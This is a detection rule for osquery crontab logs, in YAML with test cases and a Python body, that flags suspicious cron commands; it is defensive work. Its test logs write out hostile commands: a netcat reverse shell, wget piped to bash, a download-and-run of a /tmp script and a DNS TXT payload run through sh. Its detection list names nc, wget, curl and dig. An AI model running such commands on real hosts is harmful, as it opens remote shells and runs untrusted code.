AnalysisType: rule
Filename: osquery_suspicious_cron.py
RuleID: "Osquery.SuspiciousCron"
DisplayName: "Suspicious cron detected"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- Execution:Scheduled Task/Job
Reports:
MITRE ATT&CK:
- TA0002:T1053
Severity: High
Description: A suspicious cron has been added
Runbook: Analyze the command to ensure no nefarious activity is occurring
Reference: https://en.wikipedia.org/wiki/Cron
SummaryAttributes:
- action
- hostIdentifier
- name
Tests:
- Name: Netcat Listener
ExpectedResult: true
Log:
{
"name": "pack_incident-response_crontab",
"hostIdentifier": "test-host",
"action": "added",
"columns":
{
"event": "",
"minute": "17",
"hour": "*",
"day_of_month": "*",
"month": "*",
"day_of_week": "7",
"command": "nc -e /bin/bash 237.233.242.58 80",
"path": "/etc/crontab",
},
}
- Name: Wget Pipe Bash
ExpectedResult: true
Log:
{
"name": "pack_incident-response_crontab",
"action": "added",
"hostIdentifier": "test-host",
"columns":
{
"event": "",
"minute": "17",
"hour": "*",
"day_of_month": "*",
"month": "*",
"day_of_week": "7",
"command": "wget -qO- -U- https://sd9fd8f9d8fe.io/i.sh|bash >/dev/null 2>&1",
"path": "/etc/crontab",
},
}
- Name: Wget Execute
ExpectedResult: true
Log:
{
"name": "pack_incident-response_crontab",
"action": "added",
"hostIdentifier": "test-host",
"columns":
{
"event": "",
"minute": "17",
"hour": "*",
"day_of_month": "*",
"month": "*",
"day_of_week": "7",
"command": "wget -O /tmp/load.sh http://test[.]io/load.sh; chmod 777 /tmp/load.sh; /tmp/load.sh >> /tmp/out.log",
"path": "/etc/crontab",
},
}
- Name: Dig
ExpectedResult: true
Log:
{
"name": "pack_incident-response_crontab",
"action": "added",
"hostIdentifier": "test-host",
"columns":
{
"event": "",
"minute": "17",
"hour": "*",
"day_of_month": "*",
"month": "*",
"day_of_week": "7",
"command": '/bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"',
"path": "/etc/crontab",
},
}
- Name: Built-in Cron
ExpectedResult: false
Log:
{
"name": "pack_incident-response_crontab",
"action": "added",
"hostIdentifier": "test-host",
"columns":
{
"event": "",
"minute": "17",
"hour": "*",
"day_of_month": "*",
"month": "*",
"day_of_week": "7",
"command": "root cd / && run-parts --report /etc/cron.hourly",
"path": "/etc/crontab",
},
}
- Name: Command with quotes
ExpectedResult: false
Log:
{
"name": "pack_incident-response_crontab",
"action": "added",
"hostIdentifier": "test-host",
"columns":
{
"event": "",
"minute": "17",
"hour": "*",
"day_of_month": "*",
"month": "*",
"day_of_week": "7",
"command": "runit 'go fast'",
"path": "/etc/crontab",
},
}
# ------ paired body: osquery_suspicious_cron.py ------
import shlex
from fnmatch import fnmatch
SUSPICIOUS_CRON_CMD_ARGS = {
# Running in unexpected locations
"/tmp/*", # nosec
# Reaching out to the internet
"curl",
"dig",
"http?://*",
"nc",
"wget",
}
SUSPICIOUS_CRON_CMDS = {
# Passing arguments into /bin/sh
"*|*sh",
"*sh -c *",
}
def suspicious_cmd_pairs(command):
return any((fnmatch(command, c) for c in SUSPICIOUS_CRON_CMDS))
def suspicious_cmd_args(command):
command_args = shlex.split(command.replace("'", "\\'")) # escape single quotes
for cmd in command_args:
if any((fnmatch(cmd, c) for c in SUSPICIOUS_CRON_CMD_ARGS)):
return True
return False
def rule(event):
if "crontab" not in event.get("name"):
return False
command = event.deep_get("columns", "command")
if not command:
return False
return any([suspicious_cmd_args(command), suspicious_cmd_pairs(command)])
def title(event):
return f"Suspicious cron found on [{event.get('hostIdentifier', '<UNKNOWN_HOST>')}]"